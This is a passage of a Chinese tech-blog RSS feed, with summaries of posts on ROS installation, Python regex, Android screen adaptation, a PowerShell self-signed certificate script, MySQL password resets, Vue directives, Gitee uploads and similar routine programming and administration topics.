，这部分内容相比比较偏技术。&#xA;我个人认为，过于偏向技术的可能并不会成为考试的重点，再加上这部分内容篇幅不多，所以你仅仅需要记住有关这些标准的特点关键词就好，到时候如果考试时考到了，通过关键词来选择答案是一个比较好的捷径技巧。&#xA;6. 应用集成&#xA;应用集成在第4版教程中的篇幅也不多，前后加起来也就一页多一些，属于食之无味弃之可惜的鸡肋知识点。了解下应用集成的特点、对应用集成的技术要求就好。&#xA;7. 安全工程&#xA;“安全工程”知识块开篇的工程概述部分，我个人感觉写的太绕了，生生把业务应用信息系统、信息安全系统、业务应用信息系统工程和信息安全系统工程说成了绕口令。&#xA;其实要我说很简单啊，业务应用信息系统是服务业务的系统，信息安全系统是确保安全的系统。在这两个系统名称后面增加“工程”2个字，就代表建设这个动作，或者建设系统这个项目，就是这样简单，不知道教程为何生生花了一页的篇幅来讲。&#xA;8. 信息安全空间&#xA;安全系统的信息安全空间，我理解是这个知识块的重点，这个知识点在第3版教程也有，第4版教程改动并不大。&#xA;信息安全空间有3个坐标轴，x轴是“安全机制”，Y轴是“OSI 网络参考模型”，z轴是 “安全服务”，这3根坐标轴就组成了信息系统的“安全空间”。&#xA;教程中还顺便提到了“安全空间”的五大属性：认证、权限、完整、加密和不可否认。&#xA;9. 工程体系架构&#xA;关于接下来的工程体系架构，你需要掌握工程过程 、风险过程和保证过程三个基本部分。&#xA;最后ISSE-CMM 的体系结构，你需要记住两维设计，其中一维是“域” ，另一维是“能力”，这部分内容没有别的学习窍门，如果你看不懂的话，建议你把关键要点背下来就行。&#xA;下篇写了1000多字就写完了，很好，也从一个侧面印证了第5章的学习重心应该放在前面2个知识块上，也就是“软件工程”和“数据工程”上。&#xA;“信息系统工程”脑图版 除了上面介绍的差异点之外，我还结合我的理解，制作了第5章的重点考点的思维导图&#xA;我在思维导图中，不仅把本章重要知识点摘录出来，而且也提供了新版教程的差异点及我的备考建议，这样你可以在复习学习时，对照思维导图进行学习。&#xA;由于图片上传时会被自动压缩，如果图片看不清，或者想要全高清的思维导图PDF版，可以小窗我，我线下发你&#xA;预报下，这个系列主要讲第4版教程的差异章节，所以下次分享会直接跳到第18章 项目绩效域。至于和第3版教程区别不大的章节，我会在完成差异章节分享之后，看大家是否需要，如果不再需要，就会为这个系列画个句号。&#xA;最后，祝你不惧软考高项信息系统项目管理师的教程改版，和指尖疯一起，不疯魔不成活，拿下证书！</description>
    </item>
    <item>
      <title>2022国赛16：windows 部分组策略题</title>
      <link>https://bchobby.github.io/posts/922294ddc3dbb333cf8d298ac3b32ac0/</link>
      <pubDate>Mon, 03 Apr 2023 09:48:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/922294ddc3dbb333cf8d298ac3b32ac0/</guid>
      <description>试题内容：&#xA;(二)组策略&#xA;任务描述：请采用组策略，实现软件、计算机和用户的策略设置。Powershell7 软件部署策略在整个 skills 林中配置，其余组策略在 skills.com 域中配置。&#xA;1.部署软件 powershell7，让林中主机自动安装 powershell（从物理机复制 powershell7.msi 到 windows1 的 C:\soft）。（如果部署不成功，需要手动安装。）&#xA;2.启用所有 windows 服务器的防火墙。添加防火墙入站规则，名称为 ICMPv4， 启用源、目的地址 ip 地址是 10.10.0.0/16 的 icmpv4 回显请求。&#xA;3.域中主机自动申请“ipsec”模板证书。自动注册“工作站身份验证”模 板证书，该模板可用作“服务器身份验证”，有效期 5 年。windows3 和 windows4 之间通信采用 ipsec 安全连接，采用 windows1 颁发的计算机证书验证。&#xA;4.允许 manager 组本地登录域控制器，允许 manager19 用户远程登录到域控 制器；拒绝 sale 组从网络访问域控制器。&#xA;5.登录时不显示上次登录，不显示用户名，无须按 ctrl+alt+del。&#xA;6.登录计算机时，在桌面新建名称为 chinaskills 的快捷方式，目标为 https://www.chinaskills-jsw.org，快捷键为 ctrl+shift+f6。&#xA;7.为正在登录此计算机的所有用户设置漫游配置文件路径为 windows1 的 C:\profiles，每个用户提供单独的配置文件文件夹。&#xA;8.每个用户的“文档”文件夹重定向到 windows1 的 C:\documents，为每一 用户创建一个文件夹。&#xA;9.manager00 登录系统时，对 windows1 的 C:\docshare 共享文件夹映射驱 动器 Z。</description>
    </item>
    <item>
      <title>升级！！Ubuntu20.04 noetic</title>
      <link>https://bchobby.github.io/posts/babeb88c2a662d7013af12aa9f4ddc33/</link>
      <pubDate>Mon, 03 Apr 2023 09:04:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/babeb88c2a662d7013af12aa9f4ddc33/</guid>
      <description>Ubuntu20.04 noetic ubuntu版本：20.04&#xA;webots版本：2021a&#xA;ros版本：noetic&#xA;为了能和读者进一步讨论问题，建立了一个微信群，方便给大家解答问题，也可以一起讨论问题。&#xA;加群链接&#xA;前言 想得到python3的完美支持，笔者下定决心直接更新系统，少走弯路&#xA;1.安装ros noetic 安装步骤：&#xA;添加 sources.list（设置你的电脑可以从 packages.ros.org 接收软件.） $ sudo sh -c &#39;echo &#34;deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main&#34; &amp;gt; /etc/apt/sources.list.d/ros-latest.list&#39; 添加KEYS $ sudo apt-key adv --keyserver &#39;hkp://keyserver.ubuntu.com:80&#39; --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654 安装ROS&#xA;更新库为最新： $ sudo apt update 安装桌面完整版 : 包含ROS、rqt、rviz、机器人通用库、2D/3D 模拟器、导航以及2D/3D感知 $ sudo apt install ros-noetic-desktop-full PS：安装时遇到依赖问题&#xA;下列软件包有未满足的依赖关系：&#xA;ros-kinetic-desktop-full : 依赖: ros-kinetic-desktop 但是它将不会被安装&#xA;依赖: ros-kinetic-perception 但是它将不会被安装&#xA;依赖: ros-kinetic-simulators 但是它将不会被安装&#xA;E: 无法修正错误，因为您要求某些软件包保持现状，就是它们破坏了软件包间的依赖关系。&#xA;解决过程：&#xA;使用sudo apt install aptitude 安装aptitude工具在软件和更新-&amp;gt;可从互联网下载中，全部打上钩，然后sudo apt update尝试安装sudo aptitude install ros-kinetic-desktop-full再次安装sudo apt-get install ros-kinetic-desktop-full 环境配置 $ echo &#34;</description>
    </item>
    <item>
      <title>Fast-ES:全网唯一的Elasticsearch桌面客户端软件</title>
      <link>https://bchobby.github.io/posts/27c434ecdc86186d56acbf2d6f39ee83/</link>
      <pubDate>Mon, 03 Apr 2023 08:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27c434ecdc86186d56acbf2d6f39ee83/</guid>
      <description>什么是Fast-ES？ Fast-ES是一款操作elasticsearch的桌面客户端，通过简单便捷的可视化界面，替代了复杂的DSL语句编写，从而实现了“快”速上手、“快”捷使用elasticsearch的效果。&#xA;Fast-ES有何独特之处？ 快速上手，省去elasticsearch DSL学习成本，桌面客户端即开即用&#xA;快捷操作，可视化界面一目了然，减少查找、编写脚本时间&#xA;功能全面，包含数据操作、数据建模、管理监控三大基础功能，另有高级操作扩展补充，覆盖索引、文档相关绝大多数elasticsearch使用场景&#xA;功能介绍 二.数据操作&#xA;2.1 数据新增&#xA;只需要填入JSON数据就能新增一条数据&#xA;2.2 数据查询&#xA;选择我们想要查询的条件，输入待过滤的值，就能快速查询&#xA;2.3 数据修改&#xA;2.3 数据删除&#xA;三.数据建模&#xA;3.1 索引&#xA;3.1.1 新增索引&#xA;3.1.2 查询索引&#xA;3.1.3 修改索引&#xA;3.1.4 删除索引&#xA;3.2索引模板&#xA;3.2.1 新增索引模板&#xA;3.2.2 查询索引模板&#xA;3.2.3 修改索引模板&#xA;3.2.4 删除索引模板&#xA;3.3别名&#xA;3.3.1 查询别名&#xA;3.3.2 删除别名&#xA;3.3.3 新增别名&#xA;四.管理监控&#xA;4.1 集群健康&#xA;4.2 集群统计&#xA;4.3 节点信息&#xA;4.4 分片信息&#xA;4.5 段信息&#xA;五.高级操作&#xA;5.1 api示例&#xA;5.2 api执行&#xA;软件下载地址： https://github.com/NexNoSQL/NexNoSQLClient/releases/download/v1.0.0/NexNoSQL-Client-1.0.0-setup.exe</description>
    </item>
    <item>
      <title>Python 正则表达式应用总结，如何找出全部匹配文本</title>
      <link>https://bchobby.github.io/posts/95e703bb0593fc10be17ef5dd466d3a1/</link>
      <pubDate>Sun, 02 Apr 2023 22:16:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95e703bb0593fc10be17ef5dd466d3a1/</guid>
      <description>文章目录 正则表达式介绍一、正则表达式语法规则二、Python中应用正则表达式1.导入re标准库2.如何找到所有匹配正则表达式的文本？Python re模块常用的几种正则表达式方式 总结 正则表达式介绍 正则表达式用于在字符串文本中匹配所要搜索的字符串样式，比如验证用户输入的邮箱格式是否正确，IP地址格式是否有误以及查找字符串中所有的网址等等…&#xA;注意，正则表达式是对文本格式的一种概括语法，其不局限于Python语言，只要是支持正则表达式的语言都可以用应用&#xA;一、正则表达式语法规则 正则表达式详细的语法可以百度或者参考菜鸟教程正则表达式&#xA;练习正则表达式语法可以参考菜鸟正则表达式在线测试器里面同时有一些常见的格式如身份证、IP等等现成的格式可套用。&#xA;篇幅较多本文在此不再复述&#xA;二、Python中应用正则表达式 1.导入re标准库 re是python用于支持正则表达式的标准库&#xA;常用的函数及语法如下：&#xA;re.compile() 用于通过正则表达式语法创建正则表达式对象以方便后续调用 #示例 import re Tmpre1=re.compile(r&#39;2(5[0-5]|4\d)|1?\d{1,2}&#39;) re.match() 用于从文本开始查找匹配的文本内容，如果没有找到则返回None import re str1 = &#39;241.255.2.30&#39; str2 = &#39;...241.255.2.30&#39; Tmpre1=re.compile(r&#39;2(5[0-5]|4\d)|1?\d{1,2}&#39;) Tmpre2=re.compile(r&#39;2(5[0-5]|4\d)|1?\d{1,2}&#39;) print(Tmpre1.match(str1)) print(Tmpre1.match(str2)) 输出如下：&#xA;&amp;lt;re.Match object; span=(0, 3), match=&#39;241&#39;&amp;gt; None re.search() 用于人文本中搜索第一个匹配的文本，并返回找到的第一个文本的内容，如果没有找到则返回None #示例： import re str1 = &#39;...241.255.2.30&#39; re4=re.compile(r&#39;2(5[0-5]|4\d)|1?\d{1,2}&#39;) re5=re.compile(r&#39;25[0-5]|24\d|1?\d{1,2}&#39;) print(re4.search(str1,3)) print(&#39;{:20}{}&#39;.format(&#39;March&#39;,re4.search(str1))) print(&#39;{:20}{}&#39;.format(&#39;March.group()&#39;,re4.search(str1).group()))#返回一个或者多个匹配的子组。如果只有一个参数，结果就是一个字符串，如果有多个参数，结果就是一个元组（每个参数对应一个项），如果没有参数，组1默认到0（整个匹配都被返回） print(&#39;{:20}{}&#39;.format(&#39;March.startpos&#39;,re4.search(str1).start())) print(&#39;{:20}{}&#39;.format(&#39;March.end()&#39;,re4.search(str1).end()))#返回 group 匹配到的字串的开始和结束标号。group 默认为0（意思是整个匹配的子串）。如果 group 存在，但未产生匹配，就返回 -1 print(&#39;{:20}{}&#39;.format(&#39;March.endpos&#39;,re4.search(str1).endpos))#这个是正则引擎停止在字符串搜索一个匹配的索引位置。 print(&#39;{:20}{}&#39;.format(&#39;March.re&#39;,re4.search(str1).re))#返回产生这个实例的 正则对象 print(&#39;{:20}{}&#39;.format(&#39;March.pos&#39;,re4.search(str1).pos))#这个是正则引擎开始在字符串搜索一个匹配的索引位置。 print(&#39;{:20}{}&#39;.format(&#39;March.regs&#39;,re4.search(str1).regs)) print(&#39;{:20}{}&#39;.format(&#39;March.string&#39;,re4.search(str1).string))#输出所要搜索的字符串 print(&#39;{:20}{}&#39;.</description>
    </item>
    <item>
      <title>python：二叉树的递归遍历之前序遍历文字详解（基于力扣）</title>
      <link>https://bchobby.github.io/posts/34b833cdc8e888138ea12fb608ba81cc/</link>
      <pubDate>Sun, 02 Apr 2023 19:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34b833cdc8e888138ea12fb608ba81cc/</guid>
      <description>目录&#xA;前言：&#xA;二叉树：&#xA;前序遍历：&#xA;前言： 这篇作为自己“理解二叉树递归”的记录，非常适合和我一样的新手朋友。&#xA;二叉树： 关于二叉树，我总结了下面几点：&#xA;1. 二叉树和链表相似（这里只说单链表），链表有一个指针，指向下一个节点。&#xA;2. 二叉树的每一个节点有两个指针，分别指向左右子节点。&#xA;3. 我们所说的“根节点”，并不是但指最顶端的节点，每一个节点，都是根节点。&#xA;4. 请务必区分开，根节点的左右指针，指的是“子节点”，还是“左子树”，还是“右子树”。&#xA;5. 二叉树的遍历分为三种，分别是：前、中、后序遍历，“前中后”的位置，指的是“根节点”的位置，即：根左右，左根右，左右根。&#xA;6. 请牢记第3条tip。&#xA;这里为大家避个雷。&#xA;在b站上看了一个视频，这个up主讲了一下什么是前中后序遍历，他在遍历的时候，先写出了第一层和第二层的子节点，然后依照递归遍历的方法，在这三个节点左右两边开始加“左右子节点”。说实话，这个视频非常误导我的思路。他的书写方法很好懂，但和递归遍历没有关系。也就是说，看完了，也没整明白怎么递归。&#xA;千万不要用上面的思维去理解递归！！！&#xA;这是一个手绘二叉树。&#xA;前序遍历： 牢记：根左右&#xA;我们输出结果，需要有一个列表，于是创建一个空列表result = []&#xA;leetcode 建议在类中创建一个 def __init__(self): 函数，初始化这个空列表。&#xA;（如果没有初始化，则不会清空result，相当于每次调用的结果都会装在这个列表里）&#xA;接下来，遍历开始：&#xA;# Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def __init__(self): self.result = [] def preorderTraversal(self, root: Optional[TreeNode]) -&amp;gt; List[int]: if root !</description>
    </item>
    <item>
      <title>【Android折叠屏适配】基于AutoSize框架适配折叠屏并兼容多窗口模式</title>
      <link>https://bchobby.github.io/posts/a521c98a23bf7d4ac111e98a0b80dfc9/</link>
      <pubDate>Sun, 02 Apr 2023 17:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a521c98a23bf7d4ac111e98a0b80dfc9/</guid>
      <description>问题背景&#xA;当前最新的Android API 33对大屏设备的支持已较为完善，结合Jetpack Compose等响应式布局可实现一次适配所有屏幕。但考虑到代码往往是不能立即重构的，想要利用存量代码适配层出不穷的大屏及可折叠设备，并兼容多窗口场景，可采用Android界大名鼎鼎的AutoSize框架配合2套设计图尺寸来完成。&#xA;AutoSize框架基本原理&#xA;AutoSize框架支持5种单位 ，包括dp、sp、pt、in、mm，其中dp及sp为AutoSize框架的主单位。开发过程中可开启或关闭对某一单位的支持，使用主单位+副单位或只使用副单位进行适配都是可以的。选择哪一个副单位，撰写layout时就使用该单位即可。&#xA;AutoSize适配屏幕的核心原理为通过WindowManager拿到DisplayMetrics中的屏幕宽高（单位为px），再结合设置的设计图宽高（单位为px）计算并全局设置density（细节可查阅AutoSize框架源码）。&#xA;在Application及BaseActivity中进行设置&#xA;考虑到折叠屏开合时具有2组不同的屏幕宽高，我们针对其设置2套设计图宽高用以正确计算density。由于具有2套设计图尺寸，在AndroidManifest中设置设计图宽高不可行，需在Application onCreate()中计算当前屏幕宽高比及window宽高比手动设置设计图宽高，代码如下。&#xA;此外，在屏幕折叠及旋转场景下，从registerComponentCallbacks的onConfigurationChanged()回调中拿到的屏幕宽高有时不准确，尚未定位到原因（增加时延也并不稳定），故需在封装的BaseActivity的onConfigurationChanged()生命周期中也加入如下处理。&#xA;/*注册屏幕适配监听器，适配前后均会回调此方法*/ AutoSizeConfig.getInstance().setOnAdaptListener(new onAdaptListener() { @Override public void onAdaptBefore(Object target, Activity activity) { if (activity == null) { return; } int[] windowSize = new int[2]; windowSize[0] = activity.getResources().getDisplayMetrics().widthPixels; windowSize[1] = activity.getResources().getDisplayMetrics().heightPixels; AutoSizeConfig.getInstance() .setCustomFragment(true) .getUnitsManager() .setSupportSP(false) .setSupportDP(false) .setSupportSubunits(Subunits.MM); /*判断屏幕宽高比是否为大屏*/ if (FoldScreenUtil.isLargeScreen(activity)) { /*判断window宽高比是否为大窗口*/ if (FoldScreenUtil.isLargeWindow(activity)) { Log.i(&#34;isLargeScreen&#34;, &#34;isLargeWindow&#34;); /*判断横竖屏*/ if (activity.getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) { /*大屏-大窗口-横屏设计尺寸*/ AutoSizeConfig.getInstance() .getUnitsManager() .setDesignWidth(windowSize[0]) .</description>
    </item>
    <item>
      <title>注册证书的代码</title>
      <link>https://bchobby.github.io/posts/ac0114301e1a8e896ba838ba094fc582/</link>
      <pubDate>Sun, 02 Apr 2023 16:11:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac0114301e1a8e896ba838ba094fc582/</guid>
      <description> # 注册证书 $expirationDate = [datetime]::Today.AddYears(5) # $expirationDate =(Get-Date).AddDays(7) $thumb = (New-SelfSignedCertificate -Type Custom -Subject &#34;CN=Only Software, O=Only Corporation, C=US&#34; -KeyUsage DigitalSignature -FriendlyName &#34;Your friendly name goes here&#34; -CertStoreLocation &#34;Cert:\CurrentUser\My&#34; -TextExtension @(&#34;2.5.29.37={text}1.3.6.1.5.5.7.3.3&#34;, &#34;2.5.29.19={text}&#34;) -NotAfter $expirationDate).Thumbprint #导出证书 $pwd = &#39;123456&#39; $destinationDirectory = &#34;C:\Test\&#34; $filename = &#34;mycert.pfx&#34; $pathAndFilename = $destinationDirectory + $filename $password = ConvertTo-SecureString -String $pwd -Force -AsPlainText Export-PfxCertificate -cert &#34;Cert:\CurrentUser\My\$thumb&#34; -FilePath $pathAndFilename -Password $password </description>
    </item>
    <item>
      <title>KODI通过NFS访问群晖NAS</title>
      <link>https://bchobby.github.io/posts/f872720a7615c11417780af1a6ffa66d/</link>
      <pubDate>Sun, 02 Apr 2023 09:42:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f872720a7615c11417780af1a6ffa66d/</guid>
      <description>1、群晖端设置 电脑登录群晖，打开控制面板-&amp;gt;共享文件夹，选中要在KODI中访问的文件夹，右键点“编辑”，选择“NFS权限”，然后按如下设置：&#xA;指定KODI客户端所在的IP（也可用通配符，不建议）权限只读Squash：映射所有用户为admin最下面的两个“允许来自非特权端口的连接”和“允许用户访问已装载的子文件夹”勾上 然后点保存。&#xA;2、KODI设置 KODI，选择左侧菜单“电影”，进入文件区，点“添加视频...”，在弹出的对话框中输入NAS共享文件夹路径，比如：&#xA;nfs://192.168.2.100/volume2/Video 默认会生成名字Video，保存即可。&#xA;如果不想自己输入，也可以点“浏览”，选择列表中的“网络文件系统（NFS）”，它会搜索列出可NFS访问的IP地址，点进去能看到共享文件夹，选择保存即可。</description>
    </item>
    <item>
      <title>Navicat报错：1045-Access denied for user root@localhost(using password:YES)</title>
      <link>https://bchobby.github.io/posts/3048bb5a90d2e954e38d87bd2bbfeb10/</link>
      <pubDate>Sun, 02 Apr 2023 08:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3048bb5a90d2e954e38d87bd2bbfeb10/</guid>
      <description> 解决：Navicat报错：1045-Access denied for user root@localhost(using password:YES)&#xA;SET PASSWORD FOR &#39;root&#39;@&#39;localhost&#39; = PASSWORD(&#39;newpass&#39;); </description>
    </item>
    <item>
      <title>在Spring Boot中封装Face&#43;&#43;人脸识别的工具类</title>
      <link>https://bchobby.github.io/posts/0a560a6714a6c7edbcb0c29ed2a4d187/</link>
      <pubDate>Sun, 02 Apr 2023 07:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a560a6714a6c7edbcb0c29ed2a4d187/</guid>
      <description>进入Face++官网：Face⁺⁺&#xA;注冊自己的账号，然后创建一个免费的应用，得到自己的API Key：&#xA;然后去封装请求Face++接口进行人脸检测的工具类：&#xA;我们主要用到这三个接口：&#xA;点开相应的接口可以看到详细的介绍，已经使用方式。&#xA;首先是人脸检测API，它可以识别一张图片中的人脸，并且得到这个人脸数据，返回一个face_token,这个face_token就代表了我们这个图片的关键信息。&#xA;然后点开人脸检测的API文档可以看到详细的信息，比如请求的接口地址，携带的参数等等。&#xA;我们可以看到它的接口地址，请求方式，还有参数，其中的API_key和api_secret是任何接口都必须需要的携带的参数，也就是我们创建应用的API Key。&#xA;接下来开始封装工具类：&#xA;1.请求工具类，这是直接从官网扒拉下来的，直接用就行。&#xA;package com.dong.server.utils.FactUtil; import javax.net.ssl.SSLException; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Random; /** * Http的请求工具類 */ public class HttpUtils { private final static int CONNECT_TIME_OUT = 30000; private final static int READ_OUT_TIME = 50000; private static String boundaryString = getBoundary(); protected static byte[] post(String url, HashMap&amp;lt;String, String&amp;gt; map, HashMap&amp;lt;String, byte[]&amp;gt; fileMap) throws Exception { HttpURLConnection conne; URL url1 = new URL(url); conne = (HttpURLConnection) url1.</description>
    </item>
    <item>
      <title>stm32---PWM输出</title>
      <link>https://bchobby.github.io/posts/f4024f57b6a02f0c89feb36dabe071f0/</link>
      <pubDate>Sat, 01 Apr 2023 22:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4024f57b6a02f0c89feb36dabe071f0/</guid>
      <description>STM32 PWM工作过程（通道1为例）：&#xA;改变 CCRx 的值，就可以改变 PWM 输出的占空比，改变 ARR 的值以及定时器的频率，就可以改变 PWM 输出的频率（即周期）&#xA;PWM模式1 &amp;amp; PWM模式2&#xA;有效电平根据设置输出极性输出高低电平&#xA;STM32 PWM&#xA;void TIM_OC2PreloadConfig(TIM_TypeDef* TIMx, uint16_t TIM_OCPreload);&#xA;void TIM_ARRPreloadConfig(TIM_TypeDef* TIMx, FunctionalState NewState);&#xA;自动重载的预装载寄存器&#xA;void TIM_ARRPreloadConfig(TIM_TypeDef* TIMx, FunctionalState NewState);&#xA;简单的说，ARPE=1,ARR立即生效。。。APRE=0,ARR下个比较周期生效。&#xA;====================================================================&#xA;PWM输出配置步骤：&#xA;1.使能定时器3和相关IO口时钟。&#xA;使能定时器3时钟：RCC_APB1PeriphClockCmd();&#xA;使能GPIOB时钟：RCC_APB2PeriphClockCmd();&#xA;2.初始化IO口为复用功能输出。函数：GPIO_Init();&#xA;GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;&#xA;3.这里我们是要把PB5用作定时器的PWM输出引脚，所以要重映射配置，&#xA;所以需要开启AFIO时钟。同时设置重映射。&#xA;RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO,ENABLE);&#xA;GPIO_PinRemapConfig(GPIO_PartialRemap_TIM3, ENABLE); 、&#xA;4.初始化定时器：ARR,PSC等：TIM_TimeBaseInit();&#xA;5.初始化输出比较参数:TIM_OC2Init();&#xA;typedef struct { uint16_t TIM_OCMode; //PWM模式1或者模式2 uint16_t TIM_OutputState; //输出使能 OR失能 uint16_t TIM_OutputNState; uint16_t TIM_Pulse; //比较值，写CCRx uint16_t TIM_OCPolarity; //比较输出极性 uint16_t TIM_OCNPolarity; uint16_t TIM_OCIdleState; uint16_t TIM_OCNIdleState; } TIM_OCInitTypeDef; TIM_OCInitStructure.</description>
    </item>
    <item>
      <title>STL三维模型切片（一）——文件导入</title>
      <link>https://bchobby.github.io/posts/3df1aacb638e0c592f5dbdb45c81512f/</link>
      <pubDate>Sat, 01 Apr 2023 21:01:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3df1aacb638e0c592f5dbdb45c81512f/</guid>
      <description>STL格式的三维模型由大量三角形面片构成，文件中只记录了每个三角形的基本信息，包括三个顶点及其法向量（表示内外）。在对该模型进行处理之前，首先必须将其导入进来。STL格式的有两种记录形式：二进制及文本方式，二者没有本质区别，都只是记录了三角形的信息。先放代码，再逐个功能进行分析。&#xA;private MeshGeometry3D GetMeshModelFromSTLFile(string path) { StreamReader srFirstLine = new StreamReader(path); string fileType = srFirstLine.ReadLine().Substring(0, 5); string secondLine = srFirstLine.ReadLine().Trim().Substring(0, 5); srFirstLine.Close(); MeshGeometry3D mesh3D = new MeshGeometry3D(); int indexOfTriangles = 0; if (fileType == &#34;solid&#34; &amp;amp;&amp;amp; secondLine == &#34;facet&#34;) //ASCII type { StreamReader sr = new StreamReader(path); sr.ReadLine();//remove first line while (sr.ReadLine() != null) //remove facet normal line { if (sr.ReadLine() == null) { break; }//remove outer loop line mesh3D.</description>
    </item>
    <item>
      <title>c# PropertyGrid 使用案例注意事项</title>
      <link>https://bchobby.github.io/posts/530ce09e5053fb621dd521ba939f815c/</link>
      <pubDate>Sat, 01 Apr 2023 16:19:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/530ce09e5053fb621dd521ba939f815c/</guid>
      <description>文章参考链接：C# PropertyGrid使用案例详解_C#教程_脚本之家 (jb51.net)&#xA;1. 只有public的property能显示出来，可以通过BrowsableAttribute来控制是否显示，通过CategoryAttribute设置分类，通过DescriptionAttribute设置描述，Attribute可以加在Class上，也可以加在属性上，属性上的Attribute优先级更高；&#xA;2. enum会自动使用列表框表示；&#xA;3. 自带输入有效性检查，如int类型输入double数值，会弹出提示对话框；&#xA;4. 基本类型Array：增加删除只能通过弹出的集合编辑器，修改可以直接展开，值为null时，可以通过集合编辑器创建；&#xA;5. 基本类型List：增删改都只能通过集合编辑器，值为null时，能打开集合编辑器，但不能保存结果，所以必须初始化；-----使用时必须初始化，才可以使用&#xA;public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { TestPram testPram = new TestPram(); propertyGrid1.SelectedObject = testPram; } } public class TestPram { public List&amp;lt;PointXY&amp;gt; Names { get; set; } = new List&amp;lt;PointXY&amp;gt; { new PointXY { X = 2, Y = 3 } }; } public class PointXY { public float X { get; set; } public float Y { get; set; } } 6.</description>
    </item>
    <item>
      <title>vue3自定义指令之防抖</title>
      <link>https://bchobby.github.io/posts/e6ece6cedcf1a334d9287ab1dbd2f036/</link>
      <pubDate>Sat, 01 Apr 2023 15:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6ece6cedcf1a334d9287ab1dbd2f036/</guid>
      <description>我们使用 vue 时，有时候需要用到自定义指令，例如一个防抖指令&#xA;前言 现在有一个需求，用户在点击某个按钮时，我不希望用户在疯狂点击后，每次点击都会触发事件，像服务器发送请求，这并不是我们预期的，所以我们需要在用户点击是做防抖处理。那么怎么做到方便复用的解决方法？还真有，那就是自己定义指令&#xA;一、在 main 中使用自定义指令 import useDebounce from &#39;@/hooks/useDebounce&#39; const app = createApp(App) app.directive(&#39;debounce&#39;, useDebounce) 下面是 useDebounce 代码&#xA;/** * 防抖指令 * @param el 指令绑定的元素 * @param binding 指令绑定的值 * @param binding.value.callback 回调函数 * @param binding.value.params 回调函数参数 * @param binding.value.delay 延迟时间 * @example * &amp;lt;button v-debounce=&#34;{callback: handleLike, params: { test: 0 }}&#34;&amp;gt;防抖&amp;lt;/button&amp;gt; handleLike 为函数 params 为传入的参数 */ export default { mounted(el: HTMLElement, binding: { value: { callback: Function; params?</description>
    </item>
    <item>
      <title>IDEA上传项目到Gitee仓库(清晰、明确、具体)</title>
      <link>https://bchobby.github.io/posts/609f59e55d45b58c2ab1c015106ccd52/</link>
      <pubDate>Sat, 01 Apr 2023 13:02:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/609f59e55d45b58c2ab1c015106ccd52/</guid>
      <description>一、创建Gitee仓库 Tip：若已经创建过了，直接跳到第二部分看VsCode如何上传代码到Gitee&#xA;创建仓库比较简单，下面两张图就是整个过程，这里不在赘述，具体如下：&#xA;二、IDEA上传项目到Gitee仓库 1.打开IDEA，选择菜单栏中 &#34; VCS &#34;选项，选择 版本控制，创建本地Git仓库。如下图所示。&#xA;2.选择为“哪个项目”创建本地仓库，即：你要上传到Gitee上的项目&#xA;3.本地仓库创建成功后提示master信息&#xA;4.将项目放入到本地仓库中，操作如下图所示。&#xA;5.等待加载完成&#xA;6.准备将项目提交到Gitee上，操作如下图所示。&#xA;7.进入界面后，会看到对应的项目结构信息，在这里选择好你要上传的 项目，并且可以添加注释，之后点击 Commit 提交。&#xA;注意：&#xA;不要选择错了，会导致数据存放混乱。&#xA;另外，也可以对单个文件进行上传，道理相同。&#xA;8.等待加载完成&#xA;9.如果弹出下面的警告信息提示，不要慌，点击 Commit即可。（没有警告信息可忽略）&#xA;10.Commit 提交成功后IDEA会给我们一个信息提示。&#xA;注意：&#xA;到此处为止 ----&amp;gt; 我们只是把代码提交到了本地仓库，&#xA;接下来我们将其 推送到Gitee上的仓库中。&#xA;11.仍然是一样的操作，找到Git，这次我们点击 Repository ---&amp;gt; Push 上传到Gitee仓库。&#xA;如下图所示。&#xA;12.这里是为 第 13 步做准备工作。&#xA;打开Gitee仓库界面，辅助我们新建仓库的 HTTPS地址，如下图所示。&#xA;13. 第12步 点击Push后 弹出这个界面，这里我们需要为我们发布的项目连接上我们再在Gitee上的仓库，按照下图步骤进行操作即可。&#xA;14. 连接上 Gitee上的仓库后会显示下图所示界面，之后点击 Push 按钮即可上传到Gitee上的仓库，如下图所示。&#xA;15. 上传到 Gitee仓库成功后，IDEA会给我们信息提示。&#xA;16. 进入我们Gitee中的仓库，可以看到我们上传上去的项目代码，&#xA;如下图所示，即上传完成。&#xA;17.到此，操作就完成了 ---------------------------------------- END</description>
    </item>
    <item>
      <title>VsCode推送项目到Gitee仓库(清晰、明确、具体)</title>
      <link>https://bchobby.github.io/posts/b65559c96a4d660fb712539200fc6a68/</link>
      <pubDate>Sat, 01 Apr 2023 11:42:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b65559c96a4d660fb712539200fc6a68/</guid>
